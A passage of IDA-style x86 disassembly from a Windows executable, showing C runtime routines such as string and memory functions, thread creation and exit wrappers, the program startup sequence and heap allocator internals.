sub_4078F0	proc near		; CODE XREF: DMN0:00401214p
					; sub_403838+108p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00407946 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8B0
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408AD0
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_407810
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40793D
		jmp	short loc_407946
sub_4078F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40793D	proc near		; CODE XREF: sub_4078F0+46p
					; DATA XREF: DMN0:0040F8B8o
		push	6
		call	sub_408B50
		pop	ecx
		retn
sub_40793D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078F0


loc_407946:				; CODE XREF: sub_4078F0+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4078F0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407960	proc near		; CODE XREF: sub_401567+Fp
					; sub_4015B7+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		test	edx, edx
		jz	short loc_4079AE
		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4079A7
		neg	ecx
		and	ecx, 3
		jz	short loc_407989
		sub	edx, ecx


loc_407983:				; CODE XREF: sub_407960+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_407983


loc_407989:				; CODE XREF: sub_407960+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4079A7
		rep stosd
		test	edx, edx
		jz	short loc_4079AD


loc_4079A7:				; CODE XREF: sub_407960+18j
					; sub_407960+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4079A7


loc_4079AD:				; CODE XREF: sub_407960+45j
		pop	edi


loc_4079AE:				; CODE XREF: sub_407960+6j
		mov	eax, [esp+arg_0]
		retn
sub_407960	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4079C0	proc near		; CODE XREF: sub_401A55+2Cp
					; sub_401ADA+57p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_4]
		jmp	short loc_4079D6
; ---------------------------------------------------------------------------


loc_4079CF:				; CODE XREF: sub_4079C0+18j
		mov	al, [edx]
		mov	[ebx], al
		inc	ebx
		inc	edx
		dec	ecx


loc_4079D6:				; CODE XREF: sub_4079C0+Dj
		test	ecx, ecx
		jnz	short loc_4079CF
		mov	eax, [esp+4+arg_0]
		pop	ebx
		retn
sub_4079C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4079E0	proc near		; CODE XREF: sub_402208+2Ep
					; sub_402511+11p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	edx, ecx
		jmp	short loc_4079E9
; ---------------------------------------------------------------------------


loc_4079E8:				; CODE XREF: sub_4079E0+Cj
		inc	edx


loc_4079E9:				; CODE XREF: sub_4079E0+6j
		cmp	byte ptr [edx],	0
		jnz	short loc_4079E8
		mov	eax, edx
		sub	eax, ecx
		retn
sub_4079E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407A00	proc near		; CODE XREF: sub_402296+3Fp
					; sub_4025A9+2D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ebx, [esp+8+arg_4]
		mov	edi, ecx


loc_407A0C:				; CODE XREF: sub_407A00+18j
		mov	eax, edi
		inc	edi
		mov	edx, ebx
		inc	ebx
		mov	dl, [edx]
		mov	[eax], dl
		test	dl, dl
		jnz	short loc_407A0C
		mov	eax, ecx
		pop	edi
		pop	ebx
		retn
sub_407A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407A20	proc near		; CODE XREF: sub_402296+53p
					; sub_402296+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	ebx, [esp+4+arg_4]
		mov	edx, ecx
		jmp	short loc_407A2E
; ---------------------------------------------------------------------------


loc_407A2D:				; CODE XREF: sub_407A20+11j
		inc	edx


loc_407A2E:				; CODE XREF: sub_407A20+Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_407A2D
		jmp	short loc_407A37
; ---------------------------------------------------------------------------


loc_407A35:				; CODE XREF: sub_407A20+1Dj
		inc	edx
		inc	ebx


loc_407A37:				; CODE XREF: sub_407A20+13j
		mov	al, [ebx]
		mov	[edx], al
		test	al, al
		jnz	short loc_407A35
		mov	eax, ecx
		pop	ebx
		retn
sub_407A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407A50	proc near		; CODE XREF: sub_4025A9+268p
					; sub_4025A9+297p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_407A80
		mov	eax, ebx
		jmp	short loc_407A99
; ---------------------------------------------------------------------------


loc_407A64:				; CODE XREF: sub_407A50+45j
		mov	edi, ebx
		mov	esi, [esp+0Ch+arg_4]


loc_407A6A:				; CODE XREF: sub_407A50+2Dj
		inc	esi
		mov	eax, esi
		cmp	byte ptr [eax],	0
		jnz	short loc_407A76
		mov	eax, ebx
		jmp	short loc_407A99
; ---------------------------------------------------------------------------


loc_407A76:				; CODE XREF: sub_407A50+20j
		inc	edi
		mov	eax, edi
		mov	dl, [esi]
		cmp	[eax], dl
		jz	short loc_407A6A
		inc	ebx


loc_407A80:				; CODE XREF: sub_407A50+Ej
		mov	eax, [esp+0Ch+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	ebx
		call	sub_409210
		add	esp, 8
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_407A64
		xor	eax, eax


loc_407A99:				; CODE XREF: sub_407A50+12j
					; sub_407A50+24j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407A50	endp

; ---------------------------------------------------------------------------
		align 10h
		pop	ecx
		pop	eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_407AC0
		mov	eax, esp
		push	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407AC0	proc near		; CODE XREF: sub_402896+8p
					; sub_402B02+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_407AE0


loc_407ACC:				; CODE XREF: sub_407AC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_407ACC


loc_407AE0:				; CODE XREF: sub_407AC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_407AC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AF0	proc near		; CODE XREF: sub_403838+D8p
					; sub_406183+CBp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mul	[ebp+arg_8]
		mov	esi, eax
		test	eax, eax
		jz	loc_407BF4
		cmp	[ebp+arg_4], 0
		jnz	loc_407BCA
		mov	eax, [ebp+arg_8]
		jmp	loc_407BF4
; ---------------------------------------------------------------------------


loc_407B24:				; CODE XREF: sub_407AF0+DCj
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		ja	short loc_407B3B
		push	ebx
		call	sub_409230
		pop	ecx
		test	eax, eax
		jl	loc_407BD2


loc_407B3B:				; CODE XREF: sub_407AF0+3Aj
		test	word ptr [ebx],	400h
		jz	short loc_407B56
		push	esi
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_409330
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_407B5D
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_407AF0+50j
		mov	[ebp+var_10], 0


loc_407B5D:				; CODE XREF: sub_407AF0+64j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_407B75
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		sub	eax, edx
		inc	eax
		mov	[ebp+var_14], eax
		jmp	short loc_407B78
; ---------------------------------------------------------------------------


loc_407B75:				; CODE XREF: sub_407AF0+75j
		mov	[ebp+var_14], esi


loc_407B78:				; CODE XREF: sub_407AF0+83j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+18h]
		mov	edx, [ebx+10h]
		sub	eax, edx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], edi
		jnb	short loc_407B95
		mov	[ebp+var_8], 0
		mov	edi, [ebp+var_C]


loc_407B95:				; CODE XREF: sub_407AF0+99j
		push	edi
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	[ebp+var_4], eax
		sub	esi, edi
		lea	eax, [ebx+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_8], 0
		jz	short loc_407BCA
		push	ebx
		call	sub_409030
		pop	ecx
		test	eax, eax
		jnz	short loc_407BD2


loc_407BCA:				; CODE XREF: sub_407AF0+26j
					; sub_407AF0+CDj
		test	esi, esi
		jnz	loc_407B24


loc_407BD2:				; CODE XREF: sub_407AF0+45j
					; sub_407AF0+D8j
		test	word ptr [ebx],	800h
		jz	short loc_407BE0
		push	ebx
		call	sub_409030
		pop	ecx


loc_407BE0:				; CODE XREF: sub_407AF0+E7j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mul	[ebp+arg_8]
		sub	eax, esi
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		xor	edx, edx
		div	ecx


loc_407BF4:				; CODE XREF: sub_407AF0+1Cj
					; sub_407AF0+2Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C00	proc near		; DATA XREF: sub_407CA0+2Do
					; sub_44910B+2Do

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8BC
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue
		test	eax, eax
		jnz	short loc_407C42
		push	1
		call	sub_409520
		pop	ecx


loc_407C42:				; CODE XREF: sub_407C00+38j
		mov	[ebp+var_4], 0
		mov	eax, [ebx+44h]
		push	eax
		call	dword ptr [ebx+40h]
		pop	ecx
		call	sub_407D30
		jmp	short loc_407C80
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409530
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409520
		pop	ecx


loc_407C80:				; CODE XREF: sub_407C00+56j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_407C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CA0	proc near		; CODE XREF: sub_403C3F+366p
					; sub_40400E+14p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	48h
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_407D0F
		push	ebx
		call	sub_4093F0
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+40h], eax
		mov	eax, [ebp+arg_8]
		mov	[ebx+44h], eax
		push	ebx
		push	4
		push	ebx
		push	offset sub_407C00
		mov	eax, [ebp+arg_4]
		push	eax
		push	0
		call	dword_411DA0	; CreateThread
		mov	edi, eax
		mov	[ebx+4], eax
		test	eax, eax
		jnz	short loc_407CF1
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_407D0F
; ---------------------------------------------------------------------------


loc_407CF1:				; CODE XREF: sub_407CA0+45j
		mov	eax, edi
		push	eax
		call	dword_411DA4	; ResumeThread
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407D0B
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_407D0F
; ---------------------------------------------------------------------------


loc_407D0B:				; CODE XREF: sub_407CA0+5Fj
		mov	eax, edi
		jmp	short loc_407D24
; ---------------------------------------------------------------------------


loc_407D0F:				; CODE XREF: sub_407CA0+14j
					; sub_407CA0+4Fj ...
		push	ebx
		call	sub_407480
		pop	ecx
		test	esi, esi
		jz	short loc_407D21
		push	esi
		call	sub_4085D0
		pop	ecx


loc_407D21:				; CODE XREF: sub_407CA0+78j
		or	eax, 0FFFFFFFFh


loc_407D24:				; CODE XREF: sub_407CA0+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407D30	proc near		; CODE XREF: sub_40399A+1D7p
					; sub_403C3F+39Fp ...
		push	ebx
		call	sub_409420
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_407D44
		push	1
		call	sub_409520
		pop	ecx


loc_407D44:				; CODE XREF: sub_407D30+Aj
		cmp	dword ptr [ebx+4], 0FFFFFFFFh
		jz	short loc_407D57
		mov	eax, [ebx+4]
		push	eax
		call	dword_411CFC	; CloseHandle


loc_407D57:				; CODE XREF: sub_407D30+1Bj
		push	ebx
		call	sub_409490
		pop	ecx
		push	0
		call	dword_411DA8	; ExitThread
		pop	ebx
		retn
sub_407D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D70	proc near		; CODE XREF: sub_405C00+DAp
					; sub_405C00+F1p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00407DF6 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8C8
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	sub_408AD0
		pop	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_407DBC
; ---------------------------------------------------------------------------


loc_407DA7:				; CODE XREF: sub_407D70+53j
		mov	eax, dword_4111A4
		lea	edx, [eax+1]
		mov	dword_4111A4, edx
		call	dword_411064[eax*4]


loc_407DBC:				; CODE XREF: sub_407D70+35j
		cmp	dword_4111A4, 50h
		jb	short loc_407DA7
		jmp	short loc_407DD9
; ---------------------------------------------------------------------------


loc_407DC7:				; CODE XREF: sub_407D70+70j
		mov	eax, dword_4111A8
		dec	eax
		mov	dword_4111A8, eax
		call	dword_411064[eax*4]


loc_407DD9:				; CODE XREF: sub_407D70+55j
		cmp	dword_4111A8, 0
		jnz	short loc_407DC7
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_407DED
		jmp	short loc_407DF6
sub_407D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_407DED	proc near		; CODE XREF: sub_407D70+76p
					; DATA XREF: DMN0:0040F8D0o
		push	2
		call	sub_408B50
		pop	ecx
		retn
sub_407DED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407D70


loc_407DF6:				; CODE XREF: sub_407D70+7Bj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_409520
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407D70
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407E20	proc near		; CODE XREF: sub_406815+1AAp
					; sub_406815+1D9p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4095A0
		pop	ecx
		retn
sub_407E20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E30	proc near		; DATA XREF: DMN1:0046BEA2o starto

var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8D4
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2000000h
		call	sub_40B1C0
		pop	ecx
		mov	dword_4117E0, eax
		call	sub_408940
		test	eax, eax
		jnz	short loc_407E77
		push	1
		call	sub_409520
		pop	ecx


loc_407E77:				; CODE XREF: sub_407E30+3Dj
		call	sub_409360
		test	eax, eax
		jnz	short loc_407E88
		push	1
		call	sub_409520
		pop	ecx


loc_407E88:				; CODE XREF: sub_407E30+4Ej
		mov	[ebp+var_4], 0
		call	sub_4095D0
		call	sub_409630
		call	sub_409AA0
		call	sub_409B40
		mov	esi, offset dword_4101D4
		jmp	short loc_407EAF
; ---------------------------------------------------------------------------


loc_407EAA:				; CODE XREF: sub_407E30+85j
		call	dword ptr [esi]
		add	esi, 4


loc_407EAF:				; CODE XREF: sub_407E30+78j
		cmp	esi, offset dword_4101D4
		jb	short loc_407EAA
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_411DAC	; GetStartupInfoA
		push	0
		call	dword_411D70	; GetModuleHandleA
		mov	[ebp+var_60], eax
		call	sub_409C00
		test	byte ptr [ebp+var_30], 1
		jz	short loc_407EE4
		movzx	esi, [ebp+var_2C]
		jmp	short loc_407EE9
; ---------------------------------------------------------------------------


loc_407EE4:				; CODE XREF: sub_407E30+ACj
		mov	esi, 0Ah


loc_407EE9:				; CODE XREF: sub_407E30+B2j
		push	esi
		push	eax
		push	0
		mov	eax, [ebp+var_60]
		push	eax
		call	sub_407019
		mov	ebx, eax
		mov	edi, offset dword_4101D4
		jmp	short loc_407F04
; ---------------------------------------------------------------------------


loc_407EFF:				; CODE XREF: sub_407E30+DAj
		call	dword ptr [edi]
		add	edi, 4


loc_407F04:				; CODE XREF: sub_407E30+CDj
		cmp	edi, offset dword_4101D4
		jb	short loc_407EFF
		push	ebx
		call	sub_407D70
		pop	ecx
		jmp	short loc_407F3D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409530
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409520
		pop	ecx


loc_407F3D:				; CODE XREF: sub_407E30+E3j
		or	[ebp+var_4], 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_407E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F60	proc near		; CODE XREF: sub_4081F0+ECp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 0Eh
		shl	eax, 0Eh
		lea	esi, [eax+4000h]
		mov	edi, esi
		shl	edi, 2
		push	edi
		call	sub_409C40
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_407F9F
		mov	dword_4117E4, 0
		xor	eax, eax
		jmp	loc_4081DD
; ---------------------------------------------------------------------------


loc_407F9F:				; CODE XREF: sub_407F60+2Cj
		mov	eax, dword_4127F0
		mov	edx, dword_4127EC
		add	eax, edx
		cmp	eax, [ebp+var_8]
		jnz	short loc_407FC5
		mov	ebx, dword_4127EC
		mov	eax, dword_4127F0
		add	edi, eax
		mov	esi, edi
		shr	esi, 2
		jmp	short loc_407FD2
; ---------------------------------------------------------------------------


loc_407FC5:				; CODE XREF: sub_407F60+4Fj
		mov	eax, [ebp+var_8]
		mov	ebx, eax
		mov	edx, ebx
		sub	edx, eax
		mov	eax, edx
		sub	edi, eax


loc_407FD2:				; CODE XREF: sub_407F60+63j
		mov	eax, esi
		shl	eax, 2
		lea	edx, [ebx+eax]
		mov	dword_4127EC, edx
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		mov	dword_4127F0, eax
		mov	eax, dword_4111D0
		add	eax, 4
		cmp	ebx, eax
		jnz	short loc_408004
		cmp	dword_4111D8, 0
		jnz	loc_408176


loc_408004:				; CODE XREF: sub_407F60+95j
		mov	eax, dword_4111D8
		mov	[ebp+var_C], eax
		mov	dword_4111D8, ebx
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		add	ebx, 4
		dec	esi
		mov	dword_4111D0, ebx
		mov	eax, dword_4111D4
		test	eax, eax
		jz	short loc_40802E
		cmp	eax, ebx
		jbe	short loc_408034


loc_40802E:				; CODE XREF: sub_407F60+C8j
		mov	dword_4111D4, ebx


loc_408034:				; CODE XREF: sub_407F60+CCj
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111D0
		lea	eax, [eax+esi*4-4]
		mov	dword_4111D0, eax
		mov	edx, dword_4111D0
		mov	eax, esi
		or	eax, 80000000h
		mov	[edx], eax
		sub	esi, 2
		add	ebx, 4
		mov	eax, dword_4111D0
		lea	ebx, [eax-4]
		cmp	esi, dword_4111E8
		ja	short loc_4080A2
		cmp	esi, dword_4111E0
		ja	short loc_40808A
		mov	eax, dword_4111DC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_40809D
; ---------------------------------------------------------------------------


loc_40808A:				; CODE XREF: sub_407F60+116j
		mov	eax, dword_4111E4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_40809D:				; CODE XREF: sub_407F60+128j
		mov	eax, [ebp+var_10]
		jmp	short loc_4080D2
; ---------------------------------------------------------------------------


loc_4080A2:				; CODE XREF: sub_407F60+10Ej
		cmp	esi, dword_4111F0
		ja	short loc_4080BF
		mov	eax, dword_4111EC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4080D2
; ---------------------------------------------------------------------------


loc_4080BF:				; CODE XREF: sub_407F60+148j
		mov	eax, dword_4111F4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4080D2:				; CODE XREF: sub_407F60+140j
					; sub_407F60+15Dj
		mov	eax, [ebp+var_10]
		mov	dword_411200, eax
		mov	eax, dword_411200
		mov	eax, dword_4111AC[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_408118
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, dword_411200
		mov	dword_4111AC[eax*4], ebx
		mov	eax, dword_411200
		cmp	dword_4111FC, eax
		jle	short loc_408121
		mov	eax, dword_411200
		mov	dword_4111FC, eax
		jmp	short loc_408121
; ---------------------------------------------------------------------------


loc_408118:				; CODE XREF: sub_407F60+18Bj
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_408121:				; CODE XREF: sub_407F60+1AAj
					; sub_407F60+1B6j
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, esi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], esi
		mov	[ebx], esi
		mov	eax, dword_411200
		mov	dword_4111AC[eax*4], ebx
		jmp	short loc_40815B
; ---------------------------------------------------------------------------


loc_408155:				; CODE XREF: sub_407F60+20Dj
		inc	dword_4111FC


loc_40815B:				; CODE XREF: sub_407F60+1F3j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_40816F
		cmp	eax, 7
		jl	short loc_408155


loc_40816F:				; CODE XREF: sub_407F60+208j
		mov	eax, 1
		jmp	short loc_4081DD
; ---------------------------------------------------------------------------


loc_408176:				; CODE XREF: sub_407F60+9Ej
		add	ebx, 0FFFFFFFCh
		mov	eax, [ebx]
		and	eax, 7FFFFFFFh
		add	eax, esi
		mov	[ebp+var_4], eax
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111D0
		lea	eax, [eax+esi*4]
		mov	dword_4111D0, eax
		mov	edx, dword_4111D0
		mov	eax, [ebx]
		mov	[edx-4], eax
		mov	edx, dword_4111D0
		mov	eax, [ebp+var_4]
		or	eax, 80000000h
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111D0
		mov	ecx, eax
		shl	ecx, 2
		sub	edx, ecx
		or	eax, 80000000h
		mov	[edx+4], eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_407480
		pop	ecx
		mov	eax, 1


loc_4081DD:				; CODE XREF: sub_407F60+3Aj
					; sub_407F60+214j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081F0	proc near		; CODE XREF: sub_408530+4Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 2
		lea	esi, [eax+2]
		cmp	esi, 4
		jnb	short loc_408211
		mov	esi, 4


loc_408211:				; CODE XREF: sub_4081F0+1Aj
		xor	edi, edi
		cmp	esi, dword_4111E8
		ja	short loc_40824D
		cmp	esi, dword_4111E0
		ja	short loc_408235
		mov	eax, dword_4111DC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
